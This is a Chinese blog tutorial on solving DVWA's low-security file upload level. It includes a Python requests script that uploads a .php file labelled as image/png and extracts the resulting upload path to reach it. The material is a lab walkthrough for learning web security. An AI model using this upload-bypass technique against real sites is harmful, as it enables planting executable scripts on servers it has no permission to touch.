• python-requests模拟文件上传


    DVWA靶场的文件上传关卡,初级

    先上传文件,使用BurpSuite抓取数据包

    image-20230920170145559

    POST请求的数据包发送到Repeater模块

    分析使用Python的requests模块发送请求需要携带哪些参数

    也可以打开F12,点击Network查看需要携带哪些请求体参数

    image-20230920170446495

    image-20230920170533509

    image-20230920170700134

    image-20230920170803298

    请求头:

    "Cookie":"security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
    
    • 1

    请求体:

    "MAX_FILE_SIZE": "100000"
    "uploaded": "(binary)"
    "Upload": "Upload"
    
    • 1
    • 2
    • 3

    上传的文件数据可以在BurpSuite抓取到的数据包中查看

    image-20230920171052155

    发现请求体中的uploaded参数的值 "(binary)"里面的二进制数据就应该是BurpSuite中的文件名,文件内容,文件类型

    文件内容:

    "uploaded":('1.php','','image/png')
    
    • 1

    上传的文件需要在requests.postfiles参数里

    实现代码:

    import requests
    from bs4 import BeautifulSoup
    
    url = 'http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/'
    
    headers = {
        "User-Agent": "",
        "Cookie": "security=low; PHPSESSID=pgarrj6q61t1sg59mdr6bcbss1"
    }
    data = {
        "MAX_FILE_SIZE": "100000",
        "Upload": "Upload"
    }
    
    files = {
        "uploaded": ('2.php', '', 'image/png')
    }
    response = requests.post(url=url, headers=headers, data=data, files=files)
    
    # 提取上传路径
    soup = BeautifulSoup(response.text, 'lxml')
    #提取pre标签的文件
    pre_content=soup.find_all('pre')[0].text   #../../hackable/uploads/2.php succesfully uploaded!
    img_path=pre_content.split(' ')[0]  #以空格为分割符,去左边第一个,也就是下标为0的
    # print(img_path)                     #../../hackable/uploads/2.php
    '''路径拼接'''
    img_path=url+img_path
    print(img_path)  #http://192.168.8.3/DVWA-2.0.1/vulnerabilities/upload/../../hackable/uploads/2.php
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    文件上传成功!

    image-20230920173552668

    得到上传路径!

    image-20230920172902342

    访问链接,触发php探针

    image-20230920172735825

  • 相关阅读:
    简单两步实现离线部署ChatGPT,ChatGPT平替版,无需GPU离线搭建ChatGPT
    第 362 场 LeetCode 周赛题解
    01_中间件
    Linux命令之find
    [附源码]Java计算机毕业设计SSM防疫卫生资讯推荐系统
    后端中间件安装与启动(Redis、Nginx、Nacos、Kafka)
    NVIDIA NCCL 源码学习(六)- channel搜索
    python后端面试笔记,祝愿秋招拿到满意的offer。
    类和对象7:构造和析构方法
    Spring内存马分析
  • 原文地址:https://blog.csdn.net/ZhaoSong_/article/details/133092012